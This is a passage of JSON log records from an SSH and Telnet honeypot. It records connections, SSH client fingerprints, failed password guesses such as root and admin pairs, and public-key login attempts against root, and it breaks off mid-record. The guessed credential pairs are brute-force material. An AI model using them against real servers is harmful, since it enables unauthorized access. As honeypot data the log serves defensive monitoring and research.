{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49768,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0054e21acc","protocol":"ssh","message":"New connection: 103.173.227.57:49768 (10.17.0.5:22) [session: 7d0054e21acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:23.678661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:23.684530Z","src_ip":"103.173.227.57","session":"7d0054e21acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:23.930408Z","src_ip":"103.173.227.57","session":"7d0054e21acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltdjxrf","message":"login attempt [root/ltdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:24.652330Z","src_ip":"103.173.227.57","session":"7d0054e21acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:25.895163Z","src_ip":"103.173.227.57","session":"7d0054e21acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42016,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9f9d20ad21","protocol":"ssh","message":"New connection: 80.94.92.184:42016 (159.203.135.109:22) [session: dd9f9d20ad21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:46.503434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:46.951561Z","src_ip":"80.94.92.184","session":"dd9f9d20ad21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:46.955648Z","src_ip":"80.94.92.184","session":"dd9f9d20ad21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:47.805462Z","src_ip":"80.94.92.184","session":"dd9f9d20ad21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:49.448561Z","src_ip":"80.94.92.184","session":"dd9f9d20ad21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"011eb5a78927","protocol":"telnet","message":"New connection: 50.6.8.71:37658 (10.17.0.5:23) [session: 011eb5a78927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:10.095033Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37664,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb77b1b3a8f","protocol":"telnet","message":"New connection: 50.6.8.71:37664 (10.17.0.5:23) [session: 8eb77b1b3a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:14.857649Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":56259,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f207b85ea8e","protocol":"ssh","message":"New connection: 178.20.210.186:56259 (10.17.0.5:22) [session: 5f207b85ea8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:26.570263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:26.579663Z","src_ip":"178.20.210.186","session":"5f207b85ea8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:26.677071Z","src_ip":"178.20.210.186","session":"5f207b85ea8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:27.067040Z","src_ip":"178.20.210.186","session":"5f207b85ea8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:28.167993Z","src_ip":"178.20.210.186","session":"5f207b85ea8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47450,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc047825abbf","protocol":"ssh","message":"New connection: 103.98.149.87:47450 (10.17.0.5:22) [session: cc047825abbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:31.509070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:31.514016Z","src_ip":"103.98.149.87","session":"cc047825abbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:31.757256Z","src_ip":"103.98.149.87","session":"cc047825abbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741963","message":"login attempt [root/741963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:32.490764Z","src_ip":"103.98.149.87","session":"cc047825abbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:33.736624Z","src_ip":"103.98.149.87","session":"cc047825abbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":16096,"dst_ip":"10.17.0.5","dst_port":22,"session":"786cad2427f8","protocol":"ssh","message":"New connection: 68.235.52.99:16096 (10.17.0.5:22) [session: 786cad2427f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.440981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.447373Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.482809Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:32:9a:f8:fe:5c:d3:d8:27:bf:a0:42:7d:d4:a6:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK5OLuKJBnpskeIV5Y1fsQo2Q+ibNGtwGfx/sc58YtAcl7HBldA+ZrjF3hJd92rGhOIif8ykQVyVooln7jGjsinKeRD+Pw6EFK6tz/+R/HnNN6FKYh4fUDHd4lgjlRrEuZinzEsYEpVEYLDJjPtOXBPtKcsgQM6B1St7Ju3hZofRUclTQ8140h9Zrx3hRgqrPl6eeJ8d6N8834yJNe0CMUh1QEWeZezCWoIaoZ2ogDvLGx6SpHrSS0ZucgiSwx0bI0VUBwlfHgYSArhSJMHEfRidEZPYj5ywxLXk6pFL61rFPhs5DTze/tXfVik1unryu75Ge0oyvW87pSnMNPm1DB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:32:9a:f8:fe:5c:d3:d8:27:bf:a0:42:7d:d4:a6:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.618211Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:32:9a:f8:fe:5c:d3:d8:27:bf:a0:42:7d:d4:a6:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK5OLuKJBnpskeIV5Y1fsQo2Q+ibNGtwGfx/sc58YtAcl7HBldA+ZrjF3hJd92rGhOIif8ykQVyVooln7jGjsinKeRD+Pw6EFK6tz/+R/HnNN6FKYh4fUDHd4lgjlRrEuZinzEsYEpVEYLDJjPtOXBPtKcsgQM6B1St7Ju3hZofRUclTQ8140h9Zrx3hRgqrPl6eeJ8d6N8834yJNe0CMUh1QEWeZezCWoIaoZ2ogDvLGx6SpHrSS0ZucgiSwx0bI0VUBwlfHgYSArhSJMHEfRidEZPYj5ywxLXk6pFL61rFPhs5DTze/tXfVik1unryu75Ge0oyvW87pSnMNPm1DB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.622980Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:88:0b:62:d4:ab:7e:f8:69:30:37:1d:dc:75:1a:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj2mBiz2BnvUbNg52b/ddyuWNJhju3fKjW8O8E0CYTYDJwC0Gp4r7zkRDiY3bRITJrfxE7bNT9f+DENQ6sscZT3lll/096kWXN6481C1jiUZAHIarMrmNfvUSE2Zf8cKMNYRfBxZy/qs+8eVhF2r/c0xKYalUNC/lwzNlba72GhwVHNKU11yOgTQ2oq6mmNLD29Z0TjvCe57nr+MRte5hgIyyObFeNM9QlSXknm+BMOgAxPIAJ0J92BYa9EVgPh0EV0ifdnHUlB5I+SwpT9lV46ocKZZwS0LqeJEoWWa7L6C5YcTZg26eTElEIcLNAcKCWaOIUulTh9BcANXt7qw+/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:88:0b:62:d4:ab:7e:f8:69:30:37:1d:dc:75:1a:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.655784Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:88:0b:62:d4:ab:7e:f8:69:30:37:1d:dc:75:1a:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj2mBiz2BnvUbNg52b/ddyuWNJhju3fKjW8O8E0CYTYDJwC0Gp4r7zkRDiY3bRITJrfxE7bNT9f+DENQ6sscZT3lll/096kWXN6481C1jiUZAHIarMrmNfvUSE2Zf8cKMNYRfBxZy/qs+8eVhF2r/c0xKYalUNC/lwzNlba72GhwVHNKU11yOgTQ2oq6mmNLD29Z0TjvCe57nr+MRte5hgIyyObFeNM9QlSXknm+BMOgAxPIAJ0J92BYa9EVgPh0EV0ifdnHUlB5I+SwpT9lV46ocKZZwS0LqeJEoWWa7L6C5YcTZg26eTElEIcLNAcKCWaOIUulTh9BcANXt7qw+/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.659723Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:2a:2d:f1:c9:b0:4b:f6:af:5e:ec:7d:cd:e2:cf:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWmV+16P5Vf6lRq207BWsES5aXKOx/xkiTiBOda5HdGXNDRt1xOcZZsyP3nvZedMguGa6N29H2FqTVw3AKUxLwXPdcmPNEumAg4zsXmZX1Iaxnz1jpFvCPIqtypel38ctrLQH4y1i8Q0v5wwtg2WaTjCUzFHspReuFS6M3X4fBQbcMW+juB9gX1dwBQecw9dibHisJpaUzqbe3AGRz/FwAlky36aMOwJkqRuNDLcX6quigWMMac8rIbVMfjLXhXNPmN+4lORWsaTmbkQuP+dd1j2rWQ/0HgtJbqXoBv34VzAzfjbr5QYMzrIna+/0XtqjpINbUx3GFEFE2TJxF5KF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:2a:2d:f1:c9:b0:4b:f6:af:5e:ec:7d:cd:e2:cf:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.692243Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:2a:2d:f1:c9:b0:4b:f6:af:5e:ec:7d:cd:e2:cf:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWmV+16P5Vf6lRq207BWsES5aXKOx/xkiTiBOda5HdGXNDRt1xOcZZsyP3nvZedMguGa6N29H2FqTVw3AKUxLwXPdcmPNEumAg4zsXmZX1Iaxnz1jpFvCPIqtypel38ctrLQH4y1i8Q0v5wwtg2WaTjCUzFHspReuFS6M3X4fBQbcMW+juB9gX1dwBQecw9dibHisJpaUzqbe3AGRz/FwAlky36aMOwJkqRuNDLcX6quigWMMac8rIbVMfjLXhXNPmN+4lORWsaTmbkQuP+dd1j2rWQ/0HgtJbqXoBv34VzAzfjbr5QYMzrIna+/0XtqjpINbUx3GFEFE2TJxF5KF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.696668Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:e3:93:bb:e8:f8:14:e6:58:c3:7f:54:d8:36:ba:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd52RlF59tETo2cMPFSqxt4+N1Q4rcvD0RnjxnZS7NdBYos3ZoYMdS5oEne84KVrDvfH8wUJUb7ecejKM3oMeOyWgBshcZD2Ul6gQddBcMK13R16J0ph+xb+I+Y6MJRHD74mgMbIKOsQ+H66388Cv6wSrUB/c5YtR0uB9H1fBdO2j2FXLtbl7k8W1ztIAIEPqcqNH8YPnIgqufhlSWOzF2wxcJxnrQnnoD/hvb8r0ArEgoZ+1zzB2aPBX+za9rGlbjNLAB1jlVGq4XaUdZ9XhhGMhv1Q0TMzYhrhUUuVjUyVZu1amE9dR0A9+qtH84Du5vjY+Rc9CEzj2xfdtxC47h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:e3:93:bb:e8:f8:14:e6:58:c3:7f:54:d8:36:ba:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.729165Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:e3:93:bb:e8:f8:14:e6:58:c3:7f:54:d8:36:ba:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd52RlF59tETo2cMPFSqxt4+N1Q4rcvD0RnjxnZS7NdBYos3ZoYMdS5oEne84KVrDvfH8wUJUb7ecejKM3oMeOyWgBshcZD2Ul6gQddBcMK13R16J0ph+xb+I+Y6MJRHD74mgMbIKOsQ+H66388Cv6wSrUB/c5YtR0uB9H1fBdO2j2FXLtbl7k8W1ztIAIEPqcqNH8YPnIgqufhlSWOzF2wxcJxnrQnnoD/hvb8r0ArEgoZ+1zzB2aPBX+za9rGlbjNLAB1jlVGq4XaUdZ9XhhGMhv1Q0TMzYhrhUUuVjUyVZu1amE9dR0A9+qtH84Du5vjY+Rc9CEzj2xfdtxC47h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.733469Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:aa:c0:08:ee:7b:e3:ed:d2:32:1d:fe:c5:ae:a9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYdewCYo2s8jCvC//owI5jhLjGBckrVZdIy4nUDU00KlZorMGGY8blsp6QUR+Hueklr+ueofzbWKRrfrVFuVHjJGTXCfX7Ja7bcEKGLC0+d2yB0Xn2Xv82f8UmbMxy+dYXYE483hrL1vb8yTjMncBrr3BG6RZdlZjGOT8TkX8F8s38AEMjv95vrrnmZHuhu3t+y4RAl3FznOUMzAyyozGDELS9ZEr6dmKzFZpEL9axapBl2nxqfhjeqQqvYqiajpXyLiQ8Eri/Hk463VRALHQs4wmxiNghgwhGHklQyjr4XiL6UUWOdYRdKVKYv/XIMlbk+V3tK+Gvi93ZUU+7v0DT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 